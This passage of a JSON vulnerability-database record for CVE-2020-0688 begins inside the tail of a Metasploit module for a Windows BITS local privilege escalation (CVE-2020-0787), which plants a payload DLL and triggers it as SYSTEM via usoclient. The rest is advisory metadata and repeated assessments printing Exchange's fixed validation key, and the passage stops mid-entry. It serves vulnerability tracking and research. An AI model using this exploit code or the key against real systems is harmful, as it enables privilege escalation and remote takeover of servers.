\"Payload architecture (#{payload_arch}) doesn't match the architecture of the target (#{client_arch})!\")\n end\n end\n\n def check_windowscoredeviceinfo_dll_exists_on_target\n # Taken from bwatters-r7's cve-2020-0688_service_tracing.rb code.\n #\n # We are going to overwrite the WindowsCoreDeviceInfo.dll DLL as part of our exploit.\n # The second part of this exploit will trigger a Update Session to be created so that this DLL\n # is loaded, which will result in arbitrary code execution as SYSTEM.\n #\n # To prevent any errors, we will first check that this file doesn't exist and ask the user if they are sure\n # that they want to overwrite the file.\n win_dir = session.sys.config.getenv('windir')\n normal_target_payload_pathname = \"#{win_dir}\\\\System32\\\\WindowsCoreDeviceInfo.dll\"\n wow64_target_payload_pathname = \"#{win_dir}\\\\Sysnative\\\\WindowsCoreDeviceInfo.dll\"\n wow64_existing_file = \"#{win_dir}\\\\Sysnative\\\\win32k.sys\"\n if file?(wow64_existing_file)\n if file?(wow64_target_payload_pathname)\n print_warning(\"#{wow64_target_payload_pathname} already exists\")\n print_warning('If it is in use, the overwrite will fail')\n unless datastore['OVERWRITE_DLL']\n print_error('Change OVERWRITE_DLL option to true if you would like to proceed.')\n fail_with(Failure::BadConfig, \"#{wow64_target_payload_pathname} already exists and OVERWRITE_DLL option is false\")\n end\n end\n target_payload_pathname = wow64_target_payload_pathname\n elsif file?(normal_target_payload_pathname)\n print_warning(\"#{normal_target_payload_pathname} already exists\")\n print_warning('If it is in use, the overwrite will fail')\n unless datastore['OVERWRITE_DLL']\n print_error('Change OVERWRITE_DLL option to true if you would like to proceed.')\n fail_with(Failure::BadConfig, \"#{normal_target_payload_pathname} already exists and OVERWRITE_DLL option is false\")\n end\n target_payload_pathname = normal_target_payload_pathname\n end\n target_payload_pathname\n end\n\n def exploit\n # Step 1: Check target environment is correct.\n print_status('Step #1: Checking target environment...')\n if is_system?\n fail_with(Failure::None, 'Session is already elevated')\n end\n client_arch = sysinfo['Architecture']\n check_target_is_running_supported_windows_version\n check_target_and_payload_match_and_supported(client_arch)\n check_windowscoredeviceinfo_dll_exists_on_target\n\n # Step 2: Generate the malicious DLL and upload it to a temp location.\n print_status('Step #2: Generating the malicious DLL...')\n path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2020-0787')\n datastore['EXE::Path'] = path\n if client_arch =~ /x86/i\n datastore['EXE::Template'] = ::File.join(path, 'template_x86_windows.dll')\n library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2020-0787', 'CVE-2020-0787.x86.dll')\n library_path = ::File.expand_path(library_path)\n elsif client_arch =~ /x64/i\n datastore['EXE::Template'] = ::File.join(path, 'template_x64_windows.dll')\n library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2020-0787', 'CVE-2020-0787.x64.dll')\n library_path = ::File.expand_path(library_path)\n end\n\n payload_dll = generate_payload_dll\n print_status(\"Payload DLL is #{payload_dll.length} bytes long\")\n temp_directory = session.sys.config.getenv('%TEMP%')\n malicious_dll_location = \"#{temp_directory}\\\\#{Rex::Text.rand_text_alpha(6..13)}.dll\"\n write_file(malicious_dll_location, payload_dll)\n register_file_for_cleanup(malicious_dll_location)\n\n # Step 3: Load the main DLL that will trigger the exploit and conduct the arbitrary file copy.\n print_status('Step #3: Loading the exploit DLL to run the main exploit...')\n dll_info_parameter = malicious_dll_location.to_s\n\n # invoke the exploit, passing in the address of the payload that\n # we want invoked on successful exploitation.\n execute_dll(library_path, dll_info_parameter)\n\n print_status(\"Sleeping for #{datastore['JOB_WAIT_TIME']} seconds to allow the exploit to run...\")\n sleep datastore['JOB_WAIT_TIME']\n\n register_file_for_cleanup('C:\\\\Windows\\\\System32\\\\WindowsCoreDeviceInfo.dll') # Register this file for cleanup so that if we fail, then the file is cleaned up.\n # Normally we can't delete this file though as there will be a SYSTEM service that has a handle to this file.\n\n print_status('Starting the interactive scan job...')\n # Step 4: Execute `usoclient StartInteractiveScan` to trigger the payload\n # XXX Using session.shell_command_token over cmd_exec() here as @wvu-r7 noticed cmd_exec() was broken under some situations.\n session.shell_command_token('usoclient StartInteractiveScan')\n\n print_status('Enjoy the shell!')\n end\nend\n", "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/local/cve_2020_0787_bits_arbitrary_file_move.rb", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "mscve": [{"lastseen": "2021-12-06T18:25:12", "description": "A remote code execution vulnerability exists in Microsoft Exchange Server when the server fails to properly create unique keys at install time.\n\nKnowledge of a the validation key allows an authenticated user with a mailbox to pass arbitrary objects to be deserialized by the web application, which runs as SYSTEM.\n\nThe security update addresses the vulnerability by correcting how Microsoft Exchange creates the keys during install.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-02-11T08:00:00", "type": "mscve", "title": "Microsoft Exchange Validation Key Remote Code Execution Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2020-02-11T08:00:00", "id": "MS:CVE-2020-0688", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0688", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-03-17T17:49:49", "description": "Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-26412, CVE-2021-26854, CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27078. \n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2021-03-02T08:00:00", "type": "mscve", "title": "Microsoft Exchange Server Remote Code Execution Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": true, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-0940", "CVE-2018-0941", "CVE-2018-0986", "CVE-2018-8151", "CVE-2018-8152", "CVE-2018-8154", "CVE-2018-8159", "CVE-2018-8265", "CVE-2018-8302", "CVE-2018-8448", "CVE-2018-8581", "CVE-2018-8604", "CVE-2019-0586", "CVE-2019-0588", "CVE-2019-0686", "CVE-2019-0724", "CVE-2019-0817", "CVE-2019-0858", "CVE-2019-1084", "CVE-2019-1136", "CVE-2019-1137", "CVE-2019-1233", "CVE-2019-1266", "CVE-2019-1373", "CVE-2020-0688", "CVE-2020-0692", "CVE-2020-0903", "CVE-2020-16875", "CVE-2020-16969", "CVE-2020-17083", "CVE-2020-17084", "CVE-2020-17085", "CVE-2020-17117", "CVE-2020-17132", "CVE-2020-17141", "CVE-2020-17142", "CVE-2020-17143", "CVE-2020-17144", "CVE-2020-24085", "CVE-2020-26412", "CVE-2020-26854", "CVE-2021-1730", "CVE-2021-24085", "CVE-2021-26412", "CVE-2021-26854", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-27078"], "modified": "2021-03-16T07:00:00", "id": "MS:CVE-2021-27065", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-27065", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-17T17:49:49", "description": "Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-26412, CVE-2021-26854, CVE-2021-26855, CVE-2021-26857, CVE-2021-27065, CVE-2021-27078. \n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2021-03-02T08:00:00", "type": "mscve", "title": "Microsoft Exchange Server Remote Code Execution Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": true, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-0940", "CVE-2018-0941", "CVE-2018-0986", "CVE-2018-8151", "CVE-2018-8152", "CVE-2018-8154", "CVE-2018-8159", "CVE-2018-8265", "CVE-2018-8302", "CVE-2018-8448", "CVE-2018-8581", "CVE-2018-8604", "CVE-2019-0586", "CVE-2019-0588", "CVE-2019-0686", "CVE-2019-0724", "CVE-2019-0817", "CVE-2019-0858", "CVE-2019-1084", "CVE-2019-1136", "CVE-2019-1137", "CVE-2019-1233", "CVE-2019-1266", "CVE-2019-1373", "CVE-2020-0688", "CVE-2020-0692", "CVE-2020-0903", "CVE-2020-16875", "CVE-2020-16969", "CVE-2020-17083", "CVE-2020-17084", "CVE-2020-17085", "CVE-2020-17117", "CVE-2020-17132", "CVE-2020-17141", "CVE-2020-17142", "CVE-2020-17143", "CVE-2020-17144", "CVE-2020-24085", "CVE-2020-26412", "CVE-2020-26854", "CVE-2021-1730", "CVE-2021-24085", "CVE-2021-26412", "CVE-2021-26854", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-27078"], "modified": "2021-03-16T07:00:00", "id": "MS:CVE-2021-26858", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26858", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-17T17:49:50", "description": "Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-26412, CVE-2021-26854, CVE-2021-26855, CVE-2021-26858, CVE-2021-27065, CVE-2021-27078. \n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2021-03-02T08:00:00", "type": "mscve", "title": "Microsoft Exchange Server Remote Code Execution Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": true, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-0940", "CVE-2018-0941", "CVE-2018-0986", "CVE-2018-8151", "CVE-2018-8152", "CVE-2018-8154", "CVE-2018-8159", "CVE-2018-8265", "CVE-2018-8302", "CVE-2018-8448", "CVE-2018-8581", "CVE-2018-8604", "CVE-2019-0586", "CVE-2019-0588", "CVE-2019-0686", "CVE-2019-0724", "CVE-2019-0817", "CVE-2019-0858", "CVE-2019-1084", "CVE-2019-1136", "CVE-2019-1137", "CVE-2019-1233", "CVE-2019-1266", "CVE-2019-1373", "CVE-2020-0688", "CVE-2020-0692", "CVE-2020-0903", "CVE-2020-16875", "CVE-2020-16969", "CVE-2020-17083", "CVE-2020-17084", "CVE-2020-17085", "CVE-2020-17117", "CVE-2020-17132", "CVE-2020-17141", "CVE-2020-17142", "CVE-2020-17143", "CVE-2020-17144", "CVE-2020-24085", "CVE-2020-26412", "CVE-2020-26854", "CVE-2021-1730", "CVE-2021-24085", "CVE-2021-26412", "CVE-2021-26854", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-27078"], "modified": "2021-03-16T07:00:00", "id": "MS:CVE-2021-26857", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26857", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-17T17:49:51", "description": "Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-26412, CVE-2021-26854, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065, CVE-2021-27078. \n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2021-03-02T08:00:00", "type": "mscve", "title": "Microsoft Exchange Server Remote Code Execution Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": true, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-0940", "CVE-2018-0941", "CVE-2018-0986", "CVE-2018-8151", "CVE-2018-8152", "CVE-2018-8154", "CVE-2018-8159", "CVE-2018-8265", "CVE-2018-8302", "CVE-2018-8448", "CVE-2018-8581", "CVE-2018-8604", "CVE-2019-0586", "CVE-2019-0588", "CVE-2019-0686", "CVE-2019-0724", "CVE-2019-0817", "CVE-2019-0858", "CVE-2019-1084", "CVE-2019-1136", "CVE-2019-1137", "CVE-2019-1233", "CVE-2019-1266", "CVE-2019-1373", "CVE-2020-0688", "CVE-2020-0692", "CVE-2020-0903", "CVE-2020-16875", "CVE-2020-16969", "CVE-2020-17083", "CVE-2020-17084", "CVE-2020-17085", "CVE-2020-17117", "CVE-2020-17132", "CVE-2020-17141", "CVE-2020-17142", "CVE-2020-17143", "CVE-2020-17144", "CVE-2020-24085", "CVE-2020-26412", "CVE-2020-26854", "CVE-2021-1730", "CVE-2021-24085", "CVE-2021-26412", "CVE-2021-26854", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-27078"], "modified": "2021-03-16T07:00:00", "id": "MS:CVE-2021-26855", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26855", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "checkpoint_advisories": [{"lastseen": "2022-02-16T19:40:35", "description": "A remote code execution vulnerability exists in Microsoft Exchange Server. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-03-01T00:00:00", "type": "checkpoint_advisories", "title": "Microsoft Exchange Server Remote Code Execution (CVE-2020-0688)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2020-05-01T00:00:00", "id": "CPAI-2020-0104", "href": "", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "canvas": [{"lastseen": "2021-07-28T14:33:27", "description": "**Name**| owa_rce \n---|--- \n**CVE**| CVE-2020-0688 \n**Exploit Pack**| [CANVAS](<http://http://www.immunityinc.com/products-canvas.shtml>) \n**Description**| owa_rce \n**Notes**| CVE Name: CVE-2020-0688 \nVENDOR: Microsoft \nNOTES: This exploit has been tested on Microsoft Exchange Server 2016 CU 15 \n \nVersionsAffected: VERSIONS \nRepeatability: Infinite \nReferences: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688 \nCVE Url: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-0688 \nDate public: 2/20/2020 \nCVSS: 8.8 \n\n", "edition": 2, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-02-11T22:15:00", "title": "Immunity Canvas: OWA_RCE", "type": "canvas", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2020-02-11T22:15:00", "id": "OWA_RCE", "href": "http://exploitlist.immunityinc.com/home/exploitpack/CANVAS/owa_rce", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "attackerkb": [{"lastseen": "2022-03-29T18:09:55", "description": "A remote code execution vulnerability exists in Microsoft Exchange software when the software fails to properly handle objects in memory, aka \u2018Microsoft Exchange Memory Corruption Vulnerability\u2019.\n\n \n**Recent assessments:** \n \n**zeroSteiner** at February 26, 2020 5:02pm UTC reported:\n\nThis is a serialization bug in the Exchange Control Panel component of the Microsoft Exchange server. The [write up](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) by ZDI outlines an exploitation path in grate detail how the vulnerability would be leveraged to gain command execution as `NT_AUTHORITY\\SYSTEM` on the server.\n\nThe root of the issue is that the `validationKey` is not randomized at installation time, resulting in Exchange servers using an attacker known value. This value can be used to submit crafted data to the server that passes validation checks and is ultimately deserialized which can result in code execution.\n\nThe important values from the write up are:\n \n \n validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\n validationalg = SHA1\n \n\nI anticipate that the largest barrier to developing a PoC for this will be setting up and configuring a target environment. Exploiting this vulnerability requires authenticating as a user. The user must be a member of the `Domain Users` group and have a configured mailbox in Exchange.\n\nThe ViewState must be transferred within a GET request, POST can not be used. This introduces size restrictions on the OS command that can be executed.\n\n**hartescout** at February 26, 2020 2:30am UTC reported:\n\nThis is a serialization bug in the Exchange Control Panel component of the Microsoft Exchange server. The [write up](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) by ZDI outlines an exploitation path in grate detail how the vulnerability would be leveraged to gain command execution as `NT_AUTHORITY\\SYSTEM` on the server.\n\nThe root of the issue is that the `validationKey` is not randomized at installation time, resulting in Exchange servers using an attacker known value. This value can be used to submit crafted data to the server that passes validation checks and is ultimately deserialized which can result in code execution.\n\nThe important values from the write up are:\n \n \n validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\n validationalg = SHA1\n \n\nI anticipate that the largest barrier to developing a PoC for this will be setting up and configuring a target environment. Exploiting this vulnerability requires authenticating as a user. The user must be a member of the `Domain Users` group and have a configured mailbox in Exchange.\n\nThe ViewState must be transferred within a GET request, POST can not be used. This introduces size restrictions on the OS command that can be executed.\n\n**J3rryBl4nks** at March 02, 2020 10:11pm UTC reported:\n\nThis is a serialization bug in the Exchange Control Panel component of the Microsoft Exchange server. The [write up](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) by ZDI outlines an exploitation path in grate detail how the vulnerability would be leveraged to gain command execution as `NT_AUTHORITY\\SYSTEM` on the server.\n\nThe root of the issue is that the `validationKey` is not randomized at installation time, resulting in Exchange servers using an attacker known value. This value can be used to submit crafted data to the server that passes validation checks and is ultimately deserialized which can result in code execution.\n\nThe important values from the write up are:\n \n \n validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\n validationalg = SHA1\n \n\nI anticipate that the largest barrier to developing a PoC for this will be setting up and configuring a target environment. Exploiting this vulnerability requires authenticating as a user. The user must be a member of the `Domain Users` group and have a configured mailbox in Exchange.\n\nThe ViewState must be transferred within a GET request, POST can not be used. This introduces size restrictions on the OS command that can be executed.\n\n**theguly** at February 28, 2020 4:45pm UTC reported:\n\nThis is a serialization bug in the Exchange Control Panel component of the Microsoft Exchange server. The [write up](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) by ZDI outlines an exploitation path in grate detail how the vulnerability would be leveraged to gain command execution as `NT_AUTHORITY\\SYSTEM` on the server.\n\nThe root of the issue is that the `validationKey` is not randomized at installation time, resulting in Exchange servers using an attacker known value. This value can be used to submit crafted data to the server that passes validation checks and is ultimately deserialized which can result in code execution.\n\nThe important values from the write up are:\n \n \n validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\n validationalg = SHA1\n \n\nI anticipate that the largest barrier to developing a PoC for this will be setting up and configuring a target environment. Exploiting this vulnerability requires authenticating as a user. The user must be a member of the `Domain Users` group and have a configured mailbox in Exchange.\n\nThe ViewState must be transferred within a GET request, POST can not be used. This introduces size restrictions on the OS command that can be executed.\n\n**xFreed0m** at March 10, 2020 2:34pm UTC reported:\n\nThis is a serialization bug in the Exchange Control Panel component of the Microsoft Exchange server. The [write up](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) by ZDI outlines an exploitation path in grate detail how the vulnerability would be leveraged to gain command execution as `NT_AUTHORITY\\SYSTEM` on the server.\n\nThe root of the issue is that the `validationKey` is not randomized at installation time, resulting in Exchange servers using an attacker known value. This value can be used to submit crafted data to the server that passes validation checks and is ultimately deserialized which can result in code execution.\n\nThe important values from the write up are:\n \n \n validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\n validationalg = SHA1\n \n\nI anticipate that the largest barrier to developing a PoC for this will be setting up and configuring a target environment. Exploiting this vulnerability requires authenticating as a user. The user must be a member of the `Domain Users` group and have a configured mailbox in Exchange.\n\nThe ViewState must be transferred within a GET request, POST can not be used. This introduces size restrictions on the OS command that can be executed.\n\n**todb-r7** at April 09, 2020 2:08pm UTC reported:\n\nThis is a serialization bug in the Exchange Control Panel component of the Microsoft Exchange server. The [write up](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) by ZDI outlines an exploitation path in grate detail how the vulnerability would be leveraged to gain command execution as `NT_AUTHORITY\\SYSTEM` on the server.\n\nThe root of the issue is that the `validationKey` is not randomized at installation time, resulting in Exchange servers using an attacker known value. This value can be used to submit crafted data to the server that passes validation checks and is ultimately deserialized which can result in code execution.\n\nThe important values from the write up are:\n \n \n validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\n validationalg = SHA1\n \n\nI anticipate that the largest barrier to developing a PoC for this will be setting up and configuring a target environment. Exploiting this vulnerability requires authenticating as a user. The user must be a member of the `Domain Users` group and have a configured mailbox in Exchange.\n\nThe ViewState must be transferred within a GET request, POST can not be used. This introduces size restrictions on the OS command that can be executed.\n\n**ccondon-r7** at March 06, 2020 11:31pm UTC reported:\n\nThis is a serialization bug in the Exchange Control Panel component of the Microsoft Exchange server. The [write up](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) by ZDI outlines an exploitation path in grate detail how the vulnerability would be leveraged to gain command execution as `NT_AUTHORITY\\SYSTEM` on the server.\n\nThe root of the issue is that the `validationKey` is not randomized at installation time, resulting in Exchange servers using an attacker known value. This value can be used to submit crafted data to the server that passes validation checks and is ultimately deserialized which can result in code execution.\n\nThe important values from the write up are:\n \n \n validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\n validationalg = SHA1\n \n\nI anticipate that the largest barrier to developing a PoC for this will be setting up and configuring a target environment. Exploiting this vulnerability requires authenticating as a user. The user must be a member of the `Domain Users` group and have a configured mailbox in Exchange.\n\nThe ViewState must be transferred within a GET request, POST can not be used. This introduces size restrictions on the OS command that can be executed.\n\n**tsellers-r7** at March 05, 2020 10:29pm UTC reported:\n\nThis is a serialization bug in the Exchange Control Panel component of the Microsoft Exchange server. The [write up](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) by ZDI outlines an exploitation path in grate detail how the vulnerability would be leveraged to gain command execution as `NT_AUTHORITY\\SYSTEM` on the server.\n\nThe root of the issue is that the `validationKey` is not randomized at installation time, resulting in Exchange servers using an attacker known value. This value can be used to submit crafted data to the server that passes validation checks and is ultimately deserialized which can result in code execution.\n\nThe important values from the write up are:\n \n \n validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\n validationalg = SHA1\n \n\nI anticipate that the largest barrier to developing a PoC for this will be setting up and configuring a target environment. Exploiting this vulnerability requires authenticating as a user. The user must be a member of the `Domain Users` group and have a configured mailbox in Exchange.\n\nThe ViewState must be transferred within a GET request, POST can not be used. This introduces size restrictions on the OS command that can be executed.\n\n**gwillcox-r7** at October 20, 2020 6:47pm UTC reported:\n\nThis is a serialization bug in the Exchange Control Panel component of the Microsoft Exchange server. The [write up](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) by ZDI outlines an exploitation path in grate detail how the vulnerability would be leveraged to gain command execution as `NT_AUTHORITY\\SYSTEM` on the server.\n\nThe root of the issue is that the `validationKey` is not randomized at installation time, resulting in Exchange servers using an attacker known value. This value can be used to submit crafted data to the server that passes validation checks and is ultimately deserialized which can result in code execution.\n\nThe important values from the write up are:\n \n \n validationkey = 